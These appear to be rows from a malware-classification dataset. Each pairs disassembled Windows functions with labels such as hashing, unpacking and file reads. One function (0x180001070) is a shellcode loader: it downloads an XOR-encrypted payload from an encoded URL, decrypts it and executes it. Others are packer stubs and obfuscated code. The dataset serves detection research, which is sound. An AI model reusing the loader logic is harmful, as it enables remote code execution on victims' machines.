joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14009bd10
Capabilities:
Get disk size

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
mov rbx, qword [rsp + 0x90]
mov rdi, rdx
mov rbp, r8
mov rsi, r9
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
lea rdx, [rsp + 0x28]
mov qword [rsp + 0x38], 0
lea r9, [rsp + 0x38]
lea r8, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
test eax, eax
je 0x14009bda8
mov rax, qword [rsp + 0x30]
test rax, rax
je 0x14009bd6a
mov qword [rdi], rax
mov rax, qword [rsp + 0x38]
test rax, rax
je 0x14009bd78
mov qword [rbp], rax
mov rax, qword [rsp + 0x28]
test rax, rax
jne 0x14009bda0
call method.std::_V2.system_category__
xor esi, esi
mov dword [rbx], esi
mov qword [rbx + 8], rax
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
mov qword [rsi], rax
jmp 0x14009bd82
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call method.std::_V2.system_category__
mov dword [rbx], esi
mov qword [rbx + 8], rax
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x1400a2a00
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
mov rcx, qword [rdi]
call sym.fileno
mov ecx, eax
mov r8d, ebx
mov rdx, rsi
call sym.read
cmp eax, 0xffffffff
movsxd rbp, eax
je 0x1400a2a48
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call r12
cmp dword [rax], 4
je 0x1400a2a1a
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x1400b7020
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x30
mov rax, qword [rcx + 8]
test rax, rax
mov rdi, rcx
je 0x1400b7050
mov rcx, qword [rcx]
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp rax
mov rbp, qword [sym.imp.msvcrt.dll__errno]
lea rsi, [rsp + 0x2c]
mov ebx, 4
nop dword [rax]
mov ecx, dword [rdi + 0x10]
mov r8d, ebx
mov rdx, rsi
call sym.read
test eax, eax
jle 0x1400b7098
cdqe
add rsi, rax
sub rbx, rax
jne 0x1400b7068
mov eax, dword [rsp + 0x2c]
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 0xffffffff
jne 0x1400b70b8
call rbp
mov r12, rbp
cmp dword [rax], 4
je 0x1400b7068
call r12
lea rdx, str.random_device_could_not_be_read
mov ecx, dword [rax]
call method.std._anonymous_namespace_::__throw_syserr_int__char_const_
mov r12, qword [sym.imp.msvcrt.dll__errno]
jmp 0x1400b70a7
Function at 0x1400fa130
Capabilities:
Encode data using xor

Disassembly:
mov r11, rdx
mov rax, rcx
mov r10, rdx
and r11, 0xfffffffffffffff8
add r11, rcx
movabs rcx, 0xc6a4a7935bd1e995
imul r10, rcx
xor r10, r8
cmp rax, r11
je 0x1400fa188
nop word cs:[rax + rax]
mov r9, qword [rax]
add rax, 8
imul r9, rcx
mov r8, r9
shr r8, 0x2f
xor r8, r9
imul r8, rcx
xor r8, r10
mov r10, r8
imul r10, rcx
cmp r11, rax
jne 0x1400fa160
and edx, 7
je 0x1400fa1bd
sub edx, 1
movsxd rax, edx
xor edx, edx
nop dword [rax]
movzx ecx, byte [r11 + rax]
shl rdx, 8
sub rax, 1
add rdx, rcx
test eax, eax
jns 0x1400fa198
xor rdx, r10
movabs r10, 0xc6a4a7935bd1e995
imul r10, rdx
movabs rax, 0xc6a4a7935bd1e995
mov rdx, r10
shr rdx, 0x2f
xor rdx, r10
imul rdx, rax
mov rax, rdx
shr rax, 0x2f
xor rax, rdx
ret

Function at 0x1400fc740
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
test rdx, rdx
mov rax, r8
je 0x1400fc76c
movabs r9, 0x100000001b3
add rdx, rcx
nop dword [rax]
movsx r8, byte [rcx]
add rcx, 1
xor rax, r8
imul rax, r9
cmp rcx, rdx
jne 0x1400fc758
ret

Function at 0x140106a00
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x14010c220]
jmp dbg.__emutls_get_address

Function at 0x140106a10
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x14010c220]
jmp dbg.__emutls_get_address
Function at 0x140107190
Capabilities:
Query environment variable

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x68
mov rax, qword [0x140113650]
mov r8d, dword [rax]
test r8d, r8d
jne 0x140107328
lea rcx, str.GLIBCXX_TUNABLES
pxor xmm0, xmm0
mov qword [0x140109998], 0
movabs rsi, 0x2e78786362696c67
movups xmmword [0x140109988], xmm0
movabs r12, 0x6c6f6f705f68652e
call sym.getenv
mov dword [rsp + 0x40], 0
mov rbx, rax
mov dword [rsp + 0x58], 0x100
lea rax, str.obj_size
test rbx, rbx
mov qword [rsp + 0x30], 8
mov qword [rsp + 0x38], rax
lea rax, str.obj_count
mov qword [rsp + 0x48], 9
mov qword [rsp + 0x50], rax
jne 0x140107245
jmp 0x1401072f2
mov rcx, rbx
mov edx, 0x3a
call sym.strchr
test rax, rax
mov rbx, rax
je 0x1401072a0
xor eax, eax
cmp byte [rbx], 0x3a
sete al
add rbx, rax
cmp qword [rbx], rsi
jne 0x140107230
cmp qword [rbx + 7], r12
jne 0x140107230
cmp byte [rbx + 0xf], 0x2e
jne 0x140107230
lea rdi, [rsp + 0x30]
add rbx, 0x10
lea r13, [rsp + 0x60]
mov rbp, qword [rdi]
test rbp, rbp
je 0x14010728a
mov rcx, qword [rdi + 8]
mov r8, rbp
mov rdx, rbx
call sym.memcmp
test eax, eax
jne 0x140107294
cmp byte [rbx + rbp], 0x3d
je 0x140107339
add rdi, 0x18
cmp r13, rdi
jne 0x14010726f
jmp 0x140107230
mov eax, dword [rsp + 0x58]
mov edx, 0x1000
mov ecx, 6
cmp eax, edx
cmovle edx, eax
mov eax, dword [rsp + 0x40]
test eax, eax
cmove eax, ecx
movsxd rbx, eax
movsxd rax, edx
add rbx, 0x26
imul rbx, rax
shl rbx, 3
test rbx, rbx
mov qword [0x140109998], rbx
jne 0x140107302
lea rcx, [sym.__tcf_0]
add rsp, 0x68
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sym.atexit
mov qword [0x140109998], 0x16000
mov ebx, 0x16000
mov rcx, rbx
call sym.malloc
test rax, rax
mov qword [0x140109990], rax
je 0x140107370
xor edx, edx
mov qword [0x140109988], rax
mov qword [rax], rbx
mov qword [rax + 8], rdx
jmp 0x1401072da
lea rcx, [0x140109960]
call dbg.__gthr_win32_mutex_init_function
jmp 0x1401071af
lea rdx, [rsp + 0x28]
xor r8d, r8d
lea rcx, [rbx + rbp + 1]
call sym.strtoul
mov rbx, qword [rsp + 0x28]
movzx edx, byte [rbx]
cmp dl, 0x3a
je 0x140107360
test dl, dl
jne 0x140107230
test eax, eax
js 0x140107230
mov dword [rdi + 0x10], eax
jmp 0x140107230
xor ecx, ecx
mov qword [0x140109998], rcx
jmp 0x1401072da
Function at 0x141deb058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x141deb1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x141deb089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141deb06f
add dl, dl
jne 0x141deb096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141deb0f6
xor eax, eax
add dl, dl
jne 0x141deb0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141deb1ad
add dl, dl
jne 0x141deb0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141deb0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141deb0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141deb0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x141deb0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x141deb07e
mov eax, 1
add dl, dl
jne 0x141deb106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141deb113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141deb0fb
sub eax, ebx
mov ebx, 1
jne 0x141deb14c
mov ecx, 1
add dl, dl
jne 0x141deb12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141deb13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141deb123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141deb07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141deb168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141deb175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141deb15d
cmp eax, 0x7d00
jae 0x141deb19b
cmp eax, 0x500
jb 0x141deb196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141deb07e
cmp eax, 0x7f
ja 0x141deb19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141deb07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x141deb1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x141deb07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20

Function at 0x140b4eab1
Capabilities:
Hash data using murmur3

Disassembly:
xor bx, r10w
sal r9, 0xfc
btr r9w, 0x8b
xor bx, 0x6118
lea r9, [r9 + r9*4 + 0xeb2a13d]
imul r9, r9
shl r9w, 0xcc
neg bx
jmp 0x140b48f8f
ror r9d, 0xcd
setae r9b
mov r9, qword [rbx + riz]
push 0x7d3f5927
sbb r11, 7
push 0xffffffff801a4ea2
push 0x268c1724
not qword [rsp]
mov qword [r11], r9
lea rsp, [rsp + 0x18]
jmp fcn.140b0ba68
inc bx
rol r9, 0x9f
dec r9w
rol bx, 1
ror r9w, 0xe
btr r9w, r9w
neg r9
xor r10w, bx
add rbx, rsp
jmp 0x140b36a2c
cmp ebx, 2
call fcn.140b0f2d2
movzx ebx, word [rsi]
mov r9d, 0xd52d4239
shl r9b, 0xc1
adc rsi, 2
add r9w, r9w
jg 0x140b1c2d8
Function at 0x1401b9fe0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1401b9fed
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1401b9ffd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1401b9fe5
lea eax, [rcx + 1]
jmp 0x1401ba00b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x1401ba01e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1401ba004
sub eax, 3
jb 0x1401ba03e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1401ba08d
sar eax, 1
movsxd rbp, eax
jb 0x1401ba074
jmp 0x1401ba04c
add ebx, ebx
jne 0x1401ba04a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1401ba074
inc ecx
add ebx, ebx
jne 0x1401ba05a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1401ba074
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1401ba06d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1401ba05c
add ecx, 2
jmp 0x1401ba079
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.1401b9fa2
jmp 0x1401b9fed
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x57800
mov dl, 0x13
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1401ba0d9
cmp rsi, rcx
jae 0x1401ba0e1
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1401ba0c0
cmp al, 0x8f
ja 0x1401ba0c0
cmp byte [rsi - 2], 0xf
je 0x1401ba0c6
sub al, 0xe8
cmp al, 1
ja 0x1401ba0aa
cmp rsi, rcx
jae 0x1401ba0e1
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1401ba0b0
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1401ba0e1
lodsb al, byte [rsi]
jmp 0x1401ba0c0
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x1b6000]
mov eax, dword [rdi]
or eax, eax
je 0x1401ba14a
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x1ba1e4]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1401ba0ee
jns 0x1401ba123
movzx rdx, word [rdi]
add rdi, 2
jmp 0x1401ba12d
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1401ba144
mov qword [rbx], rax
add rbx, 8
jmp 0x1401ba10e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1401ba18e
cmp al, 0xef
ja 0x1401ba176
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1401ba156
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0x1401ba165
mov eax, dword [rdi]
add rdi, 4
jmp 0x1401ba165
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x247]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1401ba1e2
sub rsp, 0xffffffffffffff80
jmp 0x1400574e8
Function at 0x1428df058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1428df1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1428df089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1428df06f
add dl, dl
jne 0x1428df096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1428df0f6
xor eax, eax
add dl, dl
jne 0x1428df0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1428df1ad
add dl, dl
jne 0x1428df0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1428df0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1428df0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1428df0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1428df0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1428df07e
mov eax, 1
add dl, dl
jne 0x1428df106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1428df113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1428df0fb
sub eax, ebx
mov ebx, 1
jne 0x1428df14c
mov ecx, 1
add dl, dl
jne 0x1428df12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1428df13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1428df123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1428df07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1428df168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1428df175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1428df15d
cmp eax, 0x7d00
jae 0x1428df19b
cmp eax, 0x500
jb 0x1428df196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1428df07e
cmp eax, 0x7f
ja 0x1428df19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1428df07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1428df1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1428df07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x180001070
Capabilities:
Create http request
Encode data using xor
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x180004008]
xor rax, rsp
mov qword [rsp + 0x70], rax
lea rcx, str.call_dllmain_n
call fcn.180001010
movups xmm0, xmmword [0x1800031f0]
mov eax, dword [0x180003210]
xor r8d, r8d
movups xmm1, xmmword [0x180003200]
mov dword [rsp + 0x68], eax
lea rdx, [rsp + 0x48]
movups xmmword [rsp + 0x48], xmm0
lea rbx, [r8 - 1]
movups xmmword [rsp + 0x58], xmm1
nop word [rax + rax]
xor byte [rdx], 0x77
lea rdx, [rdx + 1]
inc r8d
lea rcx, [rsp + 0x48]
mov rax, rbx
inc rax
cmp byte [rcx + rax], 0
jne 0x1800010e2
movsxd rcx, r8d
cmp rcx, rax
jbe 0x1800010d0
lea rcx, str.start_alloc_n
call fcn.180001010
xor ecx, ecx
mov edx, 0x439f0
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x18000112a
lea rcx, str.alloc_mem_success_n
call fcn.180001010
lea rcx, str.get_shellcode_n
call fcn.180001010
xor r9d, r9d
mov dword [rsp + 0x20], 0
xor r8d, r8d
lea rcx, str.myapp
lea edx, [r9 + 1]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov qword [rsp + 0x28], 0
lea rdx, [rsp + 0x48]
mov rcx, rax
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea r9, [rsp + 0x30]
mov r8d, 0x439f0
mov rcx, rax
mov rdx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
lea rcx, str.get_shellcode_success
call fcn.180001010
mov eax, dword [0x180003280]
movsd xmm0, qword [str.senhaoanqvan]
mov dword [rsp + 0x40], eax
movzx eax, byte [0x180003284]
mov byte [rsp + 0x44], al
lea rax, [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
inc rbx
cmp byte [rax + rbx], 0
jne 0x1800011c5
movsxd r10, ebx
xor eax, eax
mov rdx, rdi
mov r9d, 0x439f0
nop dword [rax]
xor ecx, ecx
lea rdx, [rdx + 1]
cmp rax, r10
cmovl rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
xor byte [rdx - 1], al
lea rax, [rcx + 1]
sub r9, 1
jne 0x1800011e0
xor r8d, r8d
mov edx, 0x439f0
mov ecx, 0x40000
call qword [sym.imp.KERNEL32.dll_HeapCreate]
mov edx, 8
mov r8d, 0x439f0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8d, 0x439f0
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rcx, str.call_shellcode
call fcn.180001010
call rbx
mov eax, 1
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.180001280
mov rbx, qword [rsp + 0x90]
add rsp, 0x80
pop rdi
ret
Function at 0x140585058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1405851df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140585089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14058506f
add dl, dl
jne 0x140585096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405850f6
xor eax, eax
add dl, dl
jne 0x1405850a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405851ad
add dl, dl
jne 0x1405850b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405850c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405850d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405850dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1405850ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14058507e
mov eax, 1
add dl, dl
jne 0x140585106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140585113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405850fb
sub eax, ebx
mov ebx, 1
jne 0x14058514c
mov ecx, 1
add dl, dl
jne 0x14058512e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14058513b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140585123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14058507e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140585168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140585175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14058515d
cmp eax, 0x7d00
jae 0x14058519b
cmp eax, 0x500
jb 0x140585196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14058507e
cmp eax, 0x7f
ja 0x14058519e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14058507e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1405851d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14058507e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14060c540
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14060c54d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14060c55d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14060c545
lea eax, [rcx + 1]
jmp 0x14060c56b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14060c57e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14060c564
sub eax, 3
jb 0x14060c59e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14060c5ed
sar eax, 1
movsxd rbp, eax
jb 0x14060c5d4
jmp 0x14060c5ac
add ebx, ebx
jne 0x14060c5aa
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14060c5d4
inc ecx
add ebx, ebx
jne 0x14060c5ba
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14060c5d4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14060c5cd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14060c5bc
add ecx, 2
jmp 0x14060c5d9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.14060c502
jmp 0x14060c54d
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x1c3600
mov dl, 0x71
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14060c63d
cmp rsi, rcx
jae 0x14060c645
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x14060c624
cmp al, 0x8f
ja 0x14060c624
cmp byte [rsi - 2], 0xf
je 0x14060c62a
sub al, 0xe8
cmp al, 1
ja 0x14060c60e
cmp rsi, rcx
jae 0x14060c645
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x14060c614
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14060c645
lodsb al, byte [rsi]
jmp 0x14060c624
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x5f6000]
mov eax, dword [rdi]
or eax, eax
je 0x14060c6ae
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x60c1e4]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14060c652
jns 0x14060c687
movzx rdx, word [rdi]
add rdi, 2
jmp 0x14060c691
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14060c6a8
mov qword [rbx], rax
add rbx, 8
jmp 0x14060c672
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x14060c6f2
cmp al, 0xef
ja 0x14060c6da
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14060c6ba
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0x14060c6c9
mov eax, dword [rdi]
add rdi, 4
jmp 0x14060c6c9
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x257]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14060c746
sub rsp, 0xffffffffffffff80
jmp 0x140083c70